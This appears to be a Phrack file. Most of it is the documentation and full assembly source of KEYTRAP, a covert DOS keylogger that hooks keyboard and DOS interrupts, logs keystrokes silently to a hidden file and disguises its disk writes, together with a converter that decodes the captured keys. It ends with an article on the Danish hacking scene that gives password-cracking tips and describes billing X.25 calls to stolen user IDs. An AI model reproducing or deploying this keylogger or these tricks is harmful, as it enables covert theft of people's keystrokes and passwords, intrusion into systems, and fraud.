‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The author disclaims ALL warranties relating to the program, whether express or implied. In absolutely no event shall the author be liable for any damage resulting from the use and/or misuse of this program.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

WHAT IS KEYTRAP ?

~~~~~~~~~~~~~~~~~

KEYTRAP is a very effective keyboard key logger that will log keyboard scancodes to a logfile for later conversion to ASCII characters. Keytrap installs as a TSR, remaining in memory until the computer is turned off.

CONVERT will convert the keyboard scancodes captured by Keytrap to their respective keyboard (ASCII) characters.

Usage: KEYTRAP <dir\logfile> /A /B /C

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A ‑ Maximum size of logfile

B ‑ Number of keys to log per session

C ‑ Number of minutes between each session

Keytrap is a command line program.

<dir\logfile> ‑ You MUST specify a directory for the logfile. If you don't specify a directory Keytrap will only look in the current directory for the logfile. If the logfile is not found in the current directory no writing will occur. Keytrap will append the scancode data to the end of the file you specify.

A ‑ The Maximum size of the logfile. This number is checked only when Keytrap is installed. If the size of the logfile exceeds this number, Keytrap will delete the logfile and create a new one.

B ‑ This is the number of keys to log per session. Keytrap will only check this number AFTER a write to the logfile. So if you specify 50 keys, and Keytrap does not get a chance to write till there are 100 keys in the buffer, then Keytrap will log 100 keys.

C ‑ This is the number of minutes between each session. When Keytrap reaches or exceeds the number of keys to log per session, it will start a delay routine and check this number. You can't specify more then 1440 minutes, the number of minutes in a day !

Example: KEYTRAP c:\logfile /20000 /200 /20

Keytrap will check "logfile" to see if it exceeds 20,000

bytes. If it does, Keytrap will delete the log file and then create a new one. Keytrap will then install as a TSR program. It will log approx 200 keys at a time with a delay of 20 minutes between each session.

Usage: CONVERT logfile outfile

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

logfile: The file that contains the scancodes that Keytrap logged. outfile: Specify an output file name.

Theres not too much to say here. This program just converts scancodes from the logfile into their respective keyboard (ASCII) characters.

NOTES

~~~~~

Keytrap will not display ANY messages. Check the logfile and the size of the logfile if your not sure Keytrap is working.

Keytrap will only make the logfile hidden if the logfile is actually created by Keytrap or the maximum size of the logfile is reached or exceeded. If you specify a file that already exists then Keytrap will not change that files attributes and will append all scancode data to the end of the file.

Keytrap will not crash if the logfile gets deleted while Keytrap is in memory. It will just keep looking for the logfile so it can write its buffer. A buffer write is not forced until the buffer reaches 400 bytes. It will then try to write its buffer during the next interrupt 21 call.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you have any questions or need some help, e‑mail me.

Below is my public pgp key, don't e‑mail me without it !

Dcypher (Dcypher@aol.com)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6

mQCNAi3iD5cAAAEEAMVJGdgCYzG5av0lLSjO7iXm64qsuk6v/dx5XcMoNmOHNUA3 +tzF0WuVPXuJ59mFxE3/rhQqyh8Mci0f4qT6TR7FfSb8vtzSkF5vW8cNUmQx8Qvf B/YQZVmztNlWOPROAmT8ZHbsrNev2rgeYjouW3ZOUgA4RKBRYiCTuXD+VOlxAAUR tBlEY3lwaGVyIDxEY3lwaGVyQGFvbC5jb20+

=w2RN

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

****************************************

;

;

; KEYTRAP v1.0 ‑ Keyboard Key Logger

; By Dcypher (Dcypher@aol.com)

;

; Usage: KEYTRAP <dir\logfile> /A /B /C

;

; A ‑ Maximum size of log file.

; B ‑ Number of keys to log per session.

; C ‑ Minutes between each session.

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

.286 ; 286 or better

.model small ;

.code ;

org 100h ;

;

begin: jmp install ;

;

;=======================================

;

db ' DCYPHER@AOL.COM / KEYTRAP V1.0 ' ; PLEASE DON'T REMOVE ;

buf db 401 dup (0) ; 400 byte buffer

bufptr dw 0 ; +1 for luck :)

;

hide db 0 ; save int21 function call

stimem dw 0 ; grab time when done

handle dw 0 ; logfile handle

control db 0 ; control which INT to use

done_flag db 0 ; session done flag

must_write db 0 ; must‑write flag

write_amount dw 0 ; amount written to disk

using_21 db 0 ; already doing an int‑21

;

old_9a_off dw 0 ;

old_9a_seg dw 0 ;

;

old_9b_off dw 0 ;

old_9b_seg dw 0 ;

;

old_21_off dw 0 ;

old_21_seg dw 0 ;

;

datasegm dw 0 ; save data‑segment

;

delaym dw 0 ; delay, in minutes

mkeys dw 0 ; maximum number of keys

logH dw 0 ; log file size

logL dw 0 ; log file size

;

;=======================================

;

int_9A: pushf ;

pusha ;

push es ;

push ds ;

mov ds, datasegm ; we are here

;

cmp control, 1 ; use this one ?

je A91 ;

call pkey ; process key (scancode)

;

A91: pop ds ;

pop es ;

popa ;

popf ;

jmp dword ptr old_9a_off ;

;

;=======================================

;

pkey: cmp done_flag, 1 ; completely done ?

je pk2 ;

cmp bufptr, 400 ; buffer limit reached ?

jae pk2 ;

;

in al, 60h ; get scancode

;

cmp al, 39h ; get downstroke and only

ja pk2 ; as far as spacebar

cmp al, 2Ah ;

je pk2 ; no shift

cmp al, 36h ;

je pk2 ; no shift

;

push 0 ;

pop es ;

mov ah, byte ptr es:[417h] ; shift status test ah, 43h ; test for both shift keys

je pk1 ; and cap‑lock active

;

add al, 80h ; show shift or cap‑lock

pk1: mov di, bufptr ; in logfile

mov buf[di], al ; place scancode in buffer

inc di ;

mov bufptr, di ;

mov must_write, 1 ; try to write buffer

;

pk2: ret ;

;

;=======================================

;

int_9B: pushf ;

pusha ;

push es ;

push ds ;

mov ds, datasegm ; we are here

;

cmp control, 0 ; use this one ?

je B91 ; (not really needed)

call pkey ; process a key (scancode)

;

B91: pop ds ;

pop es ;

popa ;

popf ;

jmp dword ptr old_9b_off ;

;

;=======================================

;

int_21: pushf ;

pusha ;

push es ;

push ds ;

mov ds, datasegm ; here we are

;

cmp ax, 0ffffh ; check if already installed je D21 ;

;

cmp using_21, 1 ; might need to call an

je C21 ; int‑21 here so jump if

mov using_21, 1 ; called from below mov hide, ah ; save function # for hiding

;

call switch ; always control the int 9's call timer ; always check restart timer

;

cmp done_flag, 1 ; completely done ?

je B21 ;

cmp must_write, 1 ; need to write ?

jne B21 ;

cmp bufptr, 400 ; push a write when buffer jae A21 ; is full

;

cmp hide, 3Fh ; disk read

je A21 ; (hide buffer write)

cmp hide, 40h ; disk write

je A21 ;

jmp B21 ; can't hide, try another time

;

A21: call saveb ; write buffer ;

B21: mov using_21, 0 ; no int‑21 calls anymore

C21: pop ds ;

pop es ;

popa ;

popf ;

jmp dword ptr old_21_off ;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

D21: pop ds ; already installed !

pop es ;

popa ;

popf ;

mov ax, 1 ; show installed

iret ;

;

;=======================================

;

timer: cmp done_flag, 0 ; only check time when

je timerb ; session is complete !

;

mov ah, 2Ch ;

int 21h ; what's the time ?

mov al, ch ;

xor ah, ah ;

mov bx, 60 ;

mul bx ; multiply hours by 60

xor ch, ch ;

add ax, cx ; add in the minutes

;

mov bx, stimem ;

cmp ax, bx ; is time now same as

je timerb ; when session was completed

; if so, don't do anything

xor cx, cx ;

timer1: cmp bx, 1440 ; midnight then back to 0

jb timer2 ;

xor bx, bx ;

timer2: inc cx ; minutes counter

inc bx ;

cmp ax, bx ; count until time now

jne timer1 ;

;

cmp cx, delaym ;

jb timerb ; should we reset ?

;

mov done_flag, 0 ; reset / next session

timerb: ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

switch: mov ax, 3509h ;

int 21h ;

cmp bx, offset int_9A ; everything ok with 9A ?

jne sw1 ; check offset

mov control, 0 ; show who has control

ret ;

;

sw1: cmp control, 1 ; 9B already in use ?

je sw2 ; yes, don't do anything

mov ax, 3509h ;

int 21h ;

mov old_9b_seg, es ;

mov old_9b_off, bx ;

mov ax, 2509h ;

lea dx, int_9B ;

int 21h ; use 9B instead of 9A !

mov control, 1 ; show who has control

sw2: ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

saveb: mov ax, 3d01h ;

mov dx, 82h ;

int 21h ; open logfile, r/w

jc probw ;

mov handle, ax ;

mov bx, ax ;

mov ax, 4202h ;

xor cx, cx ;

xor dx, dx ;

int 21h ; point to eof

jc probw ;

mov ah, 40h ;

mov bx, handle ;

mov cx, bufptr ;

lea dx, buf ;

int 21h ; write buffer

jc probw ;

mov ah, 3Eh ;

mov bx, handle ;

int 21h ; close logfile

jc probw ;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mov cx, bufptr ; no problems writing add write_amount, cx ; so add to written amount ;

mov cx, mkeys ; check number of keys logged cmp write_amount, cx ; all done ?

jb donew ;

;

mov done_flag, 1 ; show session complete mov write_amount, 0 ; written amount to 0 call gtime ; grab stop time [minutes]

;

donew: mov must_write, 0 ; no need to write anymore mov bufptr, 0 ; buffer pointer back to 0

probw: ret ; try again another time

; (if problem writing)

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

gtime: mov ah, 2Ch ; DONE

int 21h ; grab time in minutes

mov al, ch ;

xor ah, ah ;

mov bx, 60 ;

mul bx ; multiply hours by 60

xor ch, ch ;

add ax, cx ; add in the minutes

mov stimem, ax ; start time in minutes

ret ;

;

;=======================================

;=======================================

;

install:mov bx, 80h ;

cmp byte ptr [bx], 0 ; any parameters ?

je bye ;

;

mov ax, 0ffffh ;

int 21h ; already installed ?

cmp ax, 1 ;

je bye ;

;

call conv ; convert command line numbers

jc bye ;

call clog ; check or create logfile

;

mov ax, 3509h ;

int 21h ;

mov old_9a_off, bx ; save old int 9

mov old_9a_seg, es ;

mov ah, 25h ;

lea dx, int_9A ;

int 21h ; hook only 9A to start

;

mov ax, 3521h ;

int 21h ;

mov old_21_off, bx ; save old int 21

mov old_21_seg, es ;

mov ah, 25h ;

lea dx, int_21 ;

int 21h ; point to new int 21

;

mov datasegm, ds ; save this data segment area ; for later use in the ISR's

mov bx, offset install ;

mov ax, 3100h ;

mov dx, bx ;

mov cl, 04h ;

shr dx, cl ;

inc dx ;

int 21h ; end / save above install

;

bye: mov ah, 4Ch ; no installation

int 21h ; just end

;

;=======================================

;

conv: push ds ; convert command line options

pop es ;

mov di, 81h ;

conv1: inc di ;

cmp byte ptr [di], 2fh ; point to first "/"

jnz conv1 ;

inc di ; point to first number

call mconv ; convert it

jc conv4 ; any problems ?

mov logH, dx ;

mov logL, cx ; save max logfile size add cx, dx ;

cmp cx, 0 ; make sure not 0

je conv4 ;

;

dec di ;

conv2: inc di ;

cmp byte ptr [di], 2fh ; point to second "/" jnz conv2 ;

inc di ; point to first number

call mconv ; convert it

jc conv4 ; any problems ? cmp dx, 0 ; bigger then 65535 ?

ja conv4 ;

mov mkeys, cx ; save key limit

;

dec di ;

conv3: inc di ;

cmp byte ptr [di], 2fh ; point to third "/"

jnz conv3 ;

inc di ; point to first number

call mconv ; convert it

jc conv4 ; any problems ? cmp dx, 0 ;

ja conv4 ; bigger then 65535 end

cmp cx, 1440 ;

ja conv4 ; bigger then 1440 end

mov delaym, cx ; save session delay time

clc ; show no problems

ret ;

conv4: stc ; show problem

ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

mconv: xor cx, cx ; main converter mov dx, cx ; no comments here, all I mov ah, ch ; know is that it works ! :)

cld ;

dec di ;

convl: inc di ;

mov al, es:[di] ; convert number at es:[di] xor al, '0' ;

cmp al, 10 ; carry flag will be set jae convD ; if theres a problem shl cx, 1 ;

rcl dx, 1 ;

jc convD ;

mov bx, cx ;

mov si, dx ;

shl cx, 1 ;

rcl dx, 1 ;

jc convD ;

shl cx, 1 ;

rcl dx, 1 ;

jc convD ;

add cx, bx ;

adc dx, si ;

jc convD ;

add cl, al ;

adc ch, 0 ;

adc dx, 0 ;

jc convD ;

jmp convl ;

convD: ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

clog: mov bx, 82h ; point to logfile null1: cmp byte ptr [bx], 20h ; find first space je null2 ;

inc bx ;

jmp null1 ;

null2: mov byte ptr [bx], 0 ; replace space with 0 ;

mov ax, 3D01h ;

mov dx, 82h ;

int 21h ; open the file

jc clog3 ;

mov handle, ax ; good open, save handle

;

mov ax, 4202h ;

mov bx, handle ;

xor cx, cx ;

xor dx, dx ;

int 21h ; mov pointer to eof

;

cmp logH, dx ; check size

ja clog4 ; size ok

cmp logH, dx ;

je clog1 ;

jmp clog2 ; must be below, not ok clog1: cmp logL, ax ;

ja clog4 ; size ok

;

clog2: mov ax, 4301h ;

mov dx, 82h ;

xor cx, cx ;

int 21h ; change file mode

mov ah, 41h ;

mov dx, 82h ;

int 21h ; delete file

;

clog3: mov ah, 3Ch ; create new

mov cx, 02h ; (hidden)

mov dx, 82h ;

int 21h ;

mov handle, ax ;

;

clog4: mov bx, handle ; close logfile handle

mov ah, 3Eh ;

int 21h ;

ret ;

;

;=======================================

end begin

****************************************

;

;

; CONVERT v1.0 ‑ Keytrap logfile converter

; By Dcypher@aol.com

;

; Usage: CONVERT logfile outfile

;

; logfile ‑ Keytrap's scancode data (logfile)

; outfile ‑ Specify an output file name

;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

.286 ;

.model small ;

.code ;

org 100h ;

;

start: jmp go ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

inhandle dw 0 ;

inpointH dw 0 ;

inpointL dw 0 ;

loaded dw 0 ;

last db 0 ;

;

outhandle dw 0 ;

outoffset dw 0 ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

table db 002h, '1' ; scan‑code table

db 003h, '2' ;

db 004h, '3' ;

db 005h, '4' ;

db 006h, '5' ;

db 007h, '6' ;

db 008h, '7' ;

db 009h, '8' ;

db 00Ah, '9' ;

db 00Bh, '0' ;

; ;

db 082h, '!' ;

db 083h, '@' ;

db 084h, '#' ;

db 085h, '$' ;

db 086h, '%' ;

db 087h, '^' ;

db 088h, '&' ;

db 089h, '*' ;

db 08Ah, '(' ;

db 08Bh, ')' ;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

db 01Eh, 'a' ;

db 030h, 'b' ;

db 02Eh, 'c' ;

db 020h, 'd' ;

db 012h, 'e' ;

db 021h, 'f' ;

db 022h, 'g' ;

db 023h, 'h' ;

db 017h, 'i' ;

db 024h, 'j' ;

db 025h, 'k' ;

db 026h, 'l' ;

db 032h, 'm' ;

db 031h, 'n' ;

db 018h, 'o' ;

db 019h, 'p' ;

db 010h, 'q' ;

db 013h, 'r' ;

db 01Fh, 's' ;

db 014h, 't' ;

db 016h, 'u' ;

db 02Fh, 'v' ;

db 011h, 'w' ;

db 02Dh, 'x' ;

db 015h, 'y' ;

db 02Ch, 'z' ;

; ;

db 09Eh, 'A' ;

db 0B0h, 'B' ;

db 0AEh, 'C' ;

db 0A0h, 'D' ;

db 092h, 'E' ;

db 0A1h, 'F' ;

db 0A2h, 'G' ;

db 0A3h, 'H' ;

db 097h, 'I' ;

db 0A4h, 'J' ;

db 0A5h, 'K' ;

db 0A6h, 'L' ;

db 0B2h, 'M' ;

db 0B1h, 'N' ;

db 098h, 'O' ;

db 099h, 'P' ;

db 090h, 'Q' ;

db 093h, 'R' ;

db 09Fh, 'S' ;

db 094h, 'T' ;

db 096h, 'U' ;

db 0AFh, 'V' ;

db 091h, 'W' ;

db 0ADh, 'X' ;

db 095h, 'Y' ;

db 0ACh, 'Z' ;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

db 00Ch, '‑' ;

db 08Ch, '_' ;

;

db 00Dh, '=' ;

db 08Dh, '+' ;

;

db 01Ah, '[' ;

db 09Ah, '{' ;

;

db 01Bh, ']' ;

db 09Bh, '}' ;

;

db 027h, ';' ;

db 0A7h, ':' ;

;

db 028h, 027h ; '

db 0A8h, '"' ;

;

db 033h, ',' ;

db 0B3h, '<' ;

;

db 034h, '.' ;

db 0B4h, '>' ;

;

db 035h, '/' ;

db 0B5h, '?' ;

;

db 02Bh, '\' ;

db 0ABh, '|' ;

;

db 037h, '*' ;

db 0B7h, '*' ;

;

db 029h, '`' ;

db 0A9h, '~' ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

db 039h, 020h ; space

db 0B9h, 020h ; space with shift

;

db 00Eh, 011h ; backspace

db 08Eh, 011h ; backspace with shift

;

db 01Ch, 00Ah ; return

db 09Ch, 00Ah ; return with shift

;

db 0 ; End of Table

;

;=======================================

;

fprob: mov ah, 9 ;

lea dx, ferr ;

int 21h ;

jmp bye ;

;

prtuse: mov ah, 9 ;

lea dx, usage ;

int 21h ;

;

bye: mov ah, 4Ch ;

int 21h ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

go: mov ah, 9 ;

lea dx, namver ;

int 21h ;

;

mov bx, 80h ;

cmp byte ptr [bx], 0 ;

je prtuse ;

;

call null ;

call check ;

jc fprob ;

;

go1: call ldata ;

call conv ;

call sdata ;

cmp last, 1 ;

jne go1 ;

jmp bye ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

null: mov bx, 81h ;

null1: inc bx ;

cmp byte ptr [bx], 20h ;

jnz null1 ;

mov byte ptr [bx], 0 ;

;

mov outoffset, bx ;

inc word ptr [outoffset] ;

;

null2: inc bx ;

cmp byte ptr [bx], 0Dh ;

jnz null2 ;

mov byte ptr [bx], 0 ;

ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

check: mov ax, 3D00h ;

mov dx, 82h ;

int 21h ;

jc check2 ;

mov bx, ax ;

mov ah, 3Eh ;

int 21h ;

jc check2 ;

;

mov ah, 3Ch ;

xor cx, cx ;

mov dx, outoffset ;

int 21h ;

jc check2 ;

mov bx, ax ;

mov ah, 3Eh ;

int 21h ;

jc check2 ;

;

clc ;

check2: ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

ldata: mov ax, 3D00h ;

mov dx, 82h ;

int 21h ;

mov inhandle, ax ;

;

mov ax, 4200h ;

mov bx, inhandle ;

mov cx, inpointH ;

mov dx, inpointL ;

int 21h ;

;

mov ah, 3Fh ;

mov bx, inhandle ;

mov cx, 60000 ;

lea dx, eof ;

int 21h ;

mov loaded, ax ;

cmp ax, 60000 ;

je ldata2 ;

mov last, 1 ;

;

ldata2: mov ax, 4201h ;

mov bx, inhandle ;

xor cx, cx ;

xor dx, dx ;

int 21h ;

mov inpointH, dx ;

mov inpointL, ax ;

;

mov ah, 3Eh ;

mov bx, inhandle ;

int 21h ;

ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

conv: mov cx, loaded ;

lea si, eof ;

;

conv1: lea di, table ;

;

cmp cx, 0 ;

je conv6 ;

;

mov al, byte ptr [si] ;

conv2: mov ah, byte ptr [di] ;

cmp ah, 0 ;

je conv4 ;

cmp ah, al ;

je conv3 ;

add di, 2 ;

jmp conv2 ;

;

conv3: inc di ;

mov al, byte ptr [di] ;

mov byte ptr [si], al ;

dec cx ;

inc si ;

jmp conv1 ;

;

conv4: mov byte ptr [si], 20h ;

dec cx ;

inc si ;

jmp conv1 ;

;

conv6: ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

;

sdata: mov ax, 3D02h ;

mov dx, outoffset ;

int 21h ;

mov outhandle, ax ;

;

mov ax, 4202h ;

mov bx, outhandle ;

xor cx, cx ;

xor dx, dx ;

int 21h ;

;

mov ah, 40h ;

mov bx, outhandle ;

mov cx, loaded ;

lea dx, eof ;

int 21h ;

;

mov ah, 3Eh ;

mov bx, outhandle ;

int 21h ;

ret ;

;

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

namver db 10,13

db 'CONVERT v1.0',10,13

db 'Keytrap logfile converter.',10,13

db 'By Dcypher (Dcypher@aol.com)',10,13

db 10,13,'$'

usage db 'Usage: CONVERT logfile outfile',10,13

db 10,13

db ' logfile ‑ Keytrap',27h,'s scancode data.',10,13

db ' outfile ‑ Specify an output file name.',10,13

db 10,13,'$'

ferr db 'WARNING: Problem with one of the files.',10,13

db 10,13,'$'

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eof db 0

International Scenes

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 27 of 28

****************************************

International Scenes

There was once a time when hackers were basically isolated. It was almost unheard of to run into hackers from countries other than the United States. Then in the mid 1980's thanks largely to the existence of chat systems accessible through X.25 networks like Altger, tchh and QSD, hackers world‑wide began to run into each other. They began to talk, trade information, and learn from each other. Separate and diverse subcultures began to merge into one collective scene and has brought us the hacking subculture we know today. A subculture that knows no borders, one whose denizens share the common goal of liberating information from its corporate shackles.

With the incredible proliferation of the Internet around the globe, this group is growing by leaps and bounds. With this in mind, we want to help further unite the communities in various countries by shedding light onto the hacking scenes that exist there. If you want to contribute a file about the hacking scene in your country, please send it to us at phrack@well.com.

This month we have files about the scenes in Denmark and Russia, updates from Australia and Argentina, and a scan of Norway's toll‑free exchange.

________________________________________

The Computer Underground in Denmark

Dear Phrack Readers, what follows is a little about the Danish computer underground, focusing on the hacking/phreaking scene.

A little introduction:

Even though Denmark itself is little country, with a little over 5 million citizens, an active computer underground community thrives upon the growing network links and computer systems which in these days seems to pop up all over country.

The history of the hacking community in DK is not very old, but since the first Danish hackers appeared some 5 years ago, there has been increasing hacking activity, bringing on a history of busts, paranoia and times of war; but also a history of great friendships, supremacy over the corporate machine, and a process of learning more about the world we live in. But before we take a look at the networks, boards and the community itself, let's go back in time, and find the place where it all started.

The Past:

The first hackers to appear in DK was JubJub Bird and Sprocket, two high school students which broke into 100's of computers world wide. At that time there was no H/P scene in DK, no boards, no HP networks and no fellow hackers. Nevertheless, JubJub's role in the Danish HP history plays a key role. JubJub got busted early January '90, after being discovered in some of NASA's non public machinery, and being under surveillance for a period of time. This was the beginning of what was to become the Danish hacking scene. JubJub and Sprocket never got a sentence, since the court had absolutely no idea of how to handle a case like this. The court sat down a period of 2 years, and if JubJub or Sprocket was caught in hacking within that period they would get a verdict.

Anyway, after the bust of JubJub and Sprocket, the first stirs of hackers appeared and began to expand like rings in water. And suddenly we had a growing happy hacking community. Hackers from all over the country gathered at newly started 'HPA only boards' which was a rarely seen thing among the sea of WaReZ boards. One of the coolest boards was Fantasia, the headquarters of MoTIGoL, which was being run by Netrunner. Fantasia was the largest in Denmark, maybe even in Scandinavia, and had callers from all over the world. At that time, nobody was afraid of getting busted, and A LOT of BlueBoxing, X25, and general hacking on Inet was done. But one day all that changed.

During the winter '91 DIKU (Institute of computer science, Copenhagen university) was used as a meeting place of hackers. A lot of novice hackers used the machines to learn about Internet and UNIX in general, skating through the internet, trading info, chatting at IRC and stuff like that. What nobody knew was that Jgen Bo Madsen, security expert and high paid consultant working for UNI*C, was monitoring all traffic from and off DIKU, with evil intentions of busting! The law enforcement specter was soon to cast its dark shadow on the whole of the Danish scene.

It all ended one winter afternoon. I remember turning on the TV, not really paying attention to the news, reading a book or so, when suddenly the news lady starts speaking about how the secret service is soon to unravel the biggest hacker conspiracy ever in Denmark, one hacker was already arrested and 10 more would be arrested in near future. Saron was the one who got busted. He had used an x25 datapak link, which normally only was used for electronic mail, to access DIKU, coming in from a German PAD to make tracing harder, but also making a hell of a big bill for the stolen NUI's owner. Anyway, it came out that JBM (Jgen Bo Madsen) had traced 76 calls to DIKU, and had monitored the breakins of computers in Greece, Brazil, Mexico and USA.

At that moment the entire scene more or less panicked. Most dudes moved their precious machinery out of the house and all boards closed down. A period of isolation began. The SysOp of Fantasia, Netrunner pulled out his harddisk hiding it somewhere out of reach, if JBM and his secret service buddies should show up.

No more busts happened and people calmed down after a month or so. Everybody knew that things wouldn't be the same after the DIKU incident. Netrunners harddisk broke down after he had reinstalled it, because all the dirt it had consumed from 2 years constant running, was too much for the thing to handle when it was powered back on. So, Fantasia closed and the underground network PhoenixNet also closed when it came out that JBM had infiltrated the net. An era was over, and a new was to begin.

The Present:

Today's scene is doing quite good. It has became harder in a way, more careful and more closed than ever. But still, we have open boards and a public network. FOOnet which focuses on computer security and is used as an forum open for discussions. Mostly by hackers and people into computer security in general, but every once in awhile JBM and Sysadm's drop by too. Also, the Danish scene is proud to release CrackerJack, made by Jackal, which we still claim is the fastest UNIX passwd cracker available for PC. Not that cracking passwd files is a major element in hacking, but its nice to have a fast cracker every once in awhile :)

The Danish computer underground scene is filled with WaReZ boards, but only a few real H/P/A boards are running. Boards like Free Speech Inc. and Freeside are places where the Danish hackers hang out. None of these boards are public, but JBM is quite aware of them and had once infiltrated Freeside, even though it was clearly stated that the bbs was private and no one related to any gov agencies was allowed to use the board. So, JBM is actually doing what he has accused us for over the years, which is intruding people's privacy.

Other than FOOnet, there is a few other networks, such as SDC which once had a good mail flow in the hacking conferences, but today more is turning into a demo/warez net. A few other truly H/P nets are running successful with a good mail flow, but those shall remain anonymous in this article.

The links from the Danish scene to fellow hackers around the world is very good. Due to numerous nights spent at QSD, connections is established to a lot of dudes in Brazil which frequently drops by Free Speech Inc. and Freeside, dudes in UK as well as fellow hackers in US like Alby/Empire.

Okay, this is it. The section about hacking in Denmark. The stuff that you had to read all the above boring shitty sentimental stuff, to get to!!

Hacking in Denmark:

The two main networks in DK which is used for hacking and meeting fellow hackers are, (of course) Internet and the X25 datapak link. Internet is accessible via all Universities like diku.dk, daimi.aau.dk, auc.dk and so on. (Nobody uses DIKU anymore though). The university is doing a brave struggle to keep the hackers out by upgrading to C2 passwd security, meaning that passwds must be at least 8 chars, contain 1 uppercase and 1 non alphabetic char.

The upper level of the top 10 of chosen C2 security passwd's goes something like: q1w2e3r4*, a1s2d3f4*, these do not contain any uppercase chars and therefore should not have been accepted as a passwd by the system, but apparently the C2 software finds them secure. Also, a nice thing to do is taking your wordlist and using Therion's Passwd Utility, TPU which is a word list manipulator, and add a 1* to all words in the list and uppercase the first letter. Gives a lot of accounts.

Another popular thing, in order to keep hackers out, is to setup a so‑called 'modem security password' on all dialups. So when you call up the system, before you ever get to the server you have to enter a password. And if you get through, not all accounts are cleared to use the modem dialup facilities, and unless you've got your sleazy hands on a cleared account, you get the boot.

Even though the universities puts such a great effort into keeping hackers out, they aren't doing very good. In fact, they are doing real bad. A legit account costs appr. 1900 dkr, which is about a little over 300$ US., which goes into the pockets of UNI*C, so its no wonder that we like to use the nice free facilities present at the universities.

Other ways to get on Internet, are via other machines under the ministry of education and certain private and government systems. It's surprising how many bugs (that we all know of) in certain UNIX versions, that still have not been patched, and therefore leave the systems wide open. This goes not only for Denmark, but generally throughout machines on Internet in Europe. Also, a well known phenomena in DK throughout the sector of private corporation computer systems, is lousy security. Elementary stuff like bad file permissions, left over suid shell scripts, and open guest accounts are everywhere.

Regarding the X25 datapak links. The official Danish PAD can be reached at dialup 171. This is totally free number just like 80xxxxxx are, which doesn't affect your phone bill. Keep in mind that all calls made in DK are billed, even local calls within same city are charged, and charged high! I remember a time when I was kind of addicted to a certain MUD. For one month alone I got a bill on 1800 dkr, appr. 300 US$! So, the 171 X25 link is nice thing, since all calls are billed to the owner of the Network User Id (NUI) and NOT on your phone bill.

